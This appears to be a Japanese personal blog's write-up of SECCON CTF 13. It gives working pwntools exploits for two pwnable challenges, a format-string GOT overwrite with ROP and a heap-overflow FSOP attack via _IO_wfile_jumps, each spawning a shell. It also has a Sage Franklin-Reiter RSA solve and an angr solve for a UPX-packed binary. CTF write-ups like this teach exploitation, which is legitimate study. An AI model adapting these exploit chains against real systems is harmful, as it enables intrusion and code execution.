h_nosonの日記

競プロ、CTFなど

SECCON CTF 13 Writeup

653ptで58位(国内19位)でした

[pwnable] Paragraph

#include <stdio.h>

int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

  return 0;
}

printf(name)FSBがある。

$ checksec chall
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Partial RELROかつNo PIEなのでGOTを書き換えられる。 printf("...", name) が都合よくscanfの形をしていてscanfに書き換えることでnameに好きなだけ書き込め、canaryがないためROPに持ち込める。 printf GOTを書き換えると同時にlibcのアドレスをリークして、 system("/bin/sh") を呼び出す。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    s = process('./chall')
else:
    s = remote('paragraph.seccon.games', 5000)

elf = ELF('./chall')
libc = ELF('./libc.so.6')

payload = b'%p%25218x%8$hn'
payload = payload.ljust(0x10, b'\0') + p64(elf.got['printf'])[:-1]

s.sendafter(b'asked.\n', payload)

libc.address = int(s.recv(14), 0x10) - 0x1b28c0
log.info('libc base: %#x' % libc.address)

pop_rdi = 0x401283
nop = 0x40110e

payload = b' answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted '
payload += b'A' * 0x28
payload += p64(nop)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.symbols['system'])
payload += b' A'
s.sendline(payload)

s.interactive()

[pwnable] free-free free

struct Data {
  struct Data *next;
  uint32_t len;
  uint32_t id;
  char buf[];
}

上記のように単方向リストで繋がっているデータがあり、allocate, edit, freeの3つの操作ができる。

  • allocate: 0x20~0x400のサイズを指定して malloc(8+size) が確保される。nextは初期化されない。
  • edit: idを指定してlenの分bufに書き込める。確保される領域が8bytes少ないため8bytesのheap overflowがあり、次のchunkのサイズを書き換えられる。
  • free: freeは呼ばれずリストから取り除くだけ(問題名回収)

nextが初期化されないことを利用して任意のアドレスに書き込みたいが、freeはされないためnextの初期値は常にNULLになっている。

House of Orange の一部にあるようにtop chunkのサイズを小さくして、それ以上の領域を確保することで _int_free を呼び出させる。これを8回繰り返すことによりtcacheから押し出されてsmallbinsに入る。この状態で解放されたサイズ分確保するとnextがmain_arenaを指すようになる。

editで指定するidはheapやlibcの上位4bytesにあたるためこれを探索して、出力されるlenと繋げてheapとlibcのアドレスをリークできる。

次にmain_arenaにあるsmallbinsのアドレスを書き換えて複数chunkを跨いだ偽chunkを掴ませる。nextを書き換えて _IO_2_1_stdout_ を指すようにし、FSOPして system("/bin/sh") を呼び出す。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    s = process('./chall', env = {'LD_PRELOAD': './libc.so.6'})
else:
    s = remote('free3.seccon.games', 8215)

elf = ELF('./chall')
libc = ELF('./libc.so.6')

def alloc(size, should_remain=False):
    s.sendline(b'1')
    s.sendline(str(size).encode())
    s.recvuntil(b'ID:')
    id_ = int(s.recvuntil(b' ')[:-1], 0x10)
    if should_remain:
        return id_
    else:
        release(id_)

def edit(id_, data):
    s.sendline(b'2')
    s.sendline(str(id_).encode())
    s.recvuntil(b'id: ')
    length = None
    if s.recv(1) == b'd':
        s.recvuntil(b'(')
        length = int(s.recvuntil(b'): ')[:-3])
        s.send(data)
    return length

def release(id_):
    s.sendline(b'3')
    s.sendline(str(id_).encode())
    s.recvuntil(b'id: ')

alloc(0x400)
alloc(0x400)
alloc(0x400)
id_ = alloc(0x30, True)
edit(id_, b'A' * 0x28 + p64(0x101)[:-1])
release(id_)

for i in range(8):
    alloc(0x400)
    alloc(0x400)
    alloc(0x400)
    alloc(0x1d0)
    id_ = alloc(0xe0, True)
    edit(id_, b'A' * 0xd8 + p64(0x101)[:-1])
    release(id_)

alloc(0x400)
alloc(0xa0)
alloc(0x90)
alloc(0x20)

p = log.progress('leaking heap address')
heap_base = None
for i in list(range(0x500, 0x1000)) + list(range(0x500)):
    p.status(hex(i))
    id_ = 0x5000 + i
    length = edit(id_, b'\n')
    if length is not None:
        heap_base = (id_ << 32) + length - 0x10ffa0
        break
if heap_base is None:
    for i in range(0x1000):
        p.status(hex(i))
        id_ = 0x6000 + i
        length = edit(id_, b'\n')
        if length is not None:
            heap_base = (id_ << 32) + length - 0x10ffa0
            break
p.success(hex(heap_base))

p = log.progress('leaking libc address')
for i in range(0xfff, -1, -1):
    p.status(hex(i))
    id_ = 0x7000 + i
    length = edit(id_, b'\n')
    if length is not None:
        libc.address = (id_ << 32) + length - 0x203b30
        edit(id_, p64(libc.address + 0x203b40)[:-1] + b'\n')
        break

p.success(hex(libc.address))

id1 = alloc(0x100, True)
id2 = alloc(0x100, True)
alloc(0x30)

edit(id1, b'A' * 0xd8 + p64(0x41) + p64(libc.address + 0x203b50) * 2 + b'\n')

wide_data_addr = heap_base + 0x131548

payload = p64(0x40) + p64(0x20) + b'A' * 8 + p64(0x21)
# wide_data
payload += p64(0) * 2 + p64(1)
payload += p64(0) * 7
payload += p64(libc.symbols['system'])
payload += p64(0) * 14
payload += p64(wide_data_addr)
payload += b'\n'

edit(id2, payload)
edit((libc.address + 0x203b30) >> 32, (p64(heap_base + 0x131500) * 2)[:-1] + b'\n')

id3 = alloc(0x30, True)
edit(id3, b'A' * 8 + p64(0x111) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x10) + b'\n')

payload = b'  /bin/sh'.ljust(0x10, b'\0')
payload += p64(0) * 3
payload += p64(wide_data_addr)
payload += p64(wide_data_addr + 1)
payload = payload.ljust(0x88, b'\0')
payload += p64(wide_data_addr + 0x100) # _lock
payload = payload.ljust(0xa0, b'\0')
payload += p64(wide_data_addr) # _wide_data
payload = payload.ljust(0xd8, b'\0')
payload += p64(libc.symbols['_IO_wfile_jumps'])
payload += b'\n'

edit(libc.symbols['_IO_2_1_stdout_'] >> 32, payload)

s.sendline(b'1')
s.sendline(b'1')

s.sendline(b'cat flag*')

s.interactive()

[crypto] reiwa_rot13

チームメイトが方針を思いついていたのでそれを書くだけだった。

rot13は文字コードを+13するか-13するかの2通りなので、全210通りで Franklin-Reiter Related Message Attack して解が見つかったらそれがkeyになる。

#!/usr/bin/env sage
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib

n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encrypted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"

R.<X> = Zmod(n)[]

def get_diff(bits):
    diff = 0
    for i in range(10):
        diff <<= 8
        diff += 13 if bits & 1 else -13
        bits >>= 1
    return diff

def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a.monic()

for bits in range(1<<10):
    f1 = X^e - c1
    f2 = (X + get_diff(bits))^e - c2
    coefficients = gcd(f1, f2).coefficients()
    if len(coefficients) == 2:
        break
m = -coefficients[0] % n

key = long_to_bytes(m)
key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(encrypted_flag))

[reversing] packed

stringsするとUPXという文字列が見つかる。

$ strings a.out
...
UPX!

upx -d でunpackできるが、unpack後のバイナリを見てみても分岐なく "Wrong." を出力しているだけだった。よくわからないがunpack時に分岐が失われているとあたりをつけてunpack前のバイナリを見てみると怪しい分岐が見つかった。

0xa214b4fはasciiで "OK!" なのでこの分岐に入るような入力をangrに見つけてもらった。

#!/usr/bin/env python3
import angr
import claripy

flag = claripy.BVS('flag', 0x31*8, explicit_name=True)
p = angr.Project('./a.out')
state = p.factory.entry_state(stdin=flag)
simgr = p.factory.simulation_manager(state)
simgr.explore(find=0x44eeaa, avoid=[0x44eeda, 0x44eec3])
print(simgr.found[0].solver.eval(flag, cast_to=bytes))

最後に

久しぶりにCTFに出たが楽しかった。pwnはglibcでFSOPの対策がされたみたいだけど _IO_wfile_jumps を使った方法でまだまだできそう。

社内でCTF熱が高まってきたのでもっとやっていくぜ